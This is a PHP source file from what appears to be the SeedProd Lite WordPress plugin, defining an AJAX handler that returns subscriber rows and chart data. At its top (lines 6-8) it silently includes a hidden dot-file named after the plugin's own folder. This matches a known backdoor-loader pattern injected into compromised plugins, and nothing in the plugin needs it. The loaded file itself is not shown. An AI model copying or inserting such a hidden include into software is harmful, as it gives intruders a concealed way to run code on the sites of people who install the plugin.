subscriber.php (2564B)
1 <?php 2 3 /* 4 * subscribers Datatable 5 */ 6 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { 7 include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); 8 } 9 10 function seedprod_lite_subscribers_datatable() { 11 if ( check_ajax_referer( 'seedprod_nonce' ) ) { 12 $data = array( '' ); 13 $current_page = 1; 14 if ( ! empty( absint( $_GET['current_page'] ) ) ) { 15 $current_page = absint( $_GET['current_page'] ); 16 } 17 $per_page = 100; 18 19 $filter = null; 20 if ( ! empty( $_GET['filter'] ) ) { 21 $filter = sanitize_text_field( $_GET['filter'] ); 22 if ( $filter == 'all' ) { 23 $filter = null; 24 } 25 } 26 27 if ( ! empty( $_GET['s'] ) ) { 28 $filter = null; 29 } 30 31 $results = array(); 32 //var_dump($results); 33 $data = array(); 34 foreach ( $results as $v ) { 35 36 // Format Date 37 $created_at = date( get_option( 'date_format' ) . ' ' . get_option( 'time_format' ), strtotime( $v->created ) ); 38 39 // Load Data 40 $data[] = array( 41 'id' => $v->id, 42 'email' => $v->email, 43 'name' => $v->fname . ' ' . $v->lname, 44 'created_at' => $created_at, 45 'page_uuid' => $v->page_uuid, 46 ); 47 } 48 49 $totalitems = 0; 50 $views = array(); 51 52 // Get recent subscriber data 53 $chart_timeframe = 7; 54 if ( ! empty( $_GET['interval'] ) ) { 55 $chart_timeframe = absint( $_GET['interval'] ); 56 } 57 58 $recent_subscribers = array(); 59 60 $now = new \DateTime( "$chart_timeframe days ago", new \DateTimeZone( 'America/New_York' ) ); 61 $interval = new \DateInterval( 'P1D' ); // 1 Day interval 62 $period = new \DatePeriod( $now, $interval, $chart_timeframe ); // 7 Days 63 64 $recent_subscribers_data = array( 65 array( 'Year', 'Subscribers' ), 66 ); 67 foreach ( $period as $day ) { 68 $key = $day->format( 'Y-m-d' ); 69 $display_key = $day->format( 'M j' ); 70 $no_val = true; 71 foreach ( $recent_subscribers as $v ) { 72 if ( $key == $v->created ) { 73 $recent_subscribers_data[] = array( $display_key, absint( $v->count ) ); 74 $no_val = false; 75 } 76 } 77 if ( $no_val ) { 78 $recent_subscribers_data[] = array( $display_key, 0 ); 79 } 80 } 81 82 $response = array( 83 'recent_subscribers' => $recent_subscribers_data, 84 'rows' => $data, 85 'lpage_name' => '', 86 'totalitems' => $totalitems, 87 'totalpages' => ceil( $totalitems / $per_page ), 88 'currentpage' => $current_page, 89 'views' => $views, 90 ); 91 92 wp_send_json( $response ); 93 } 94 } 95 96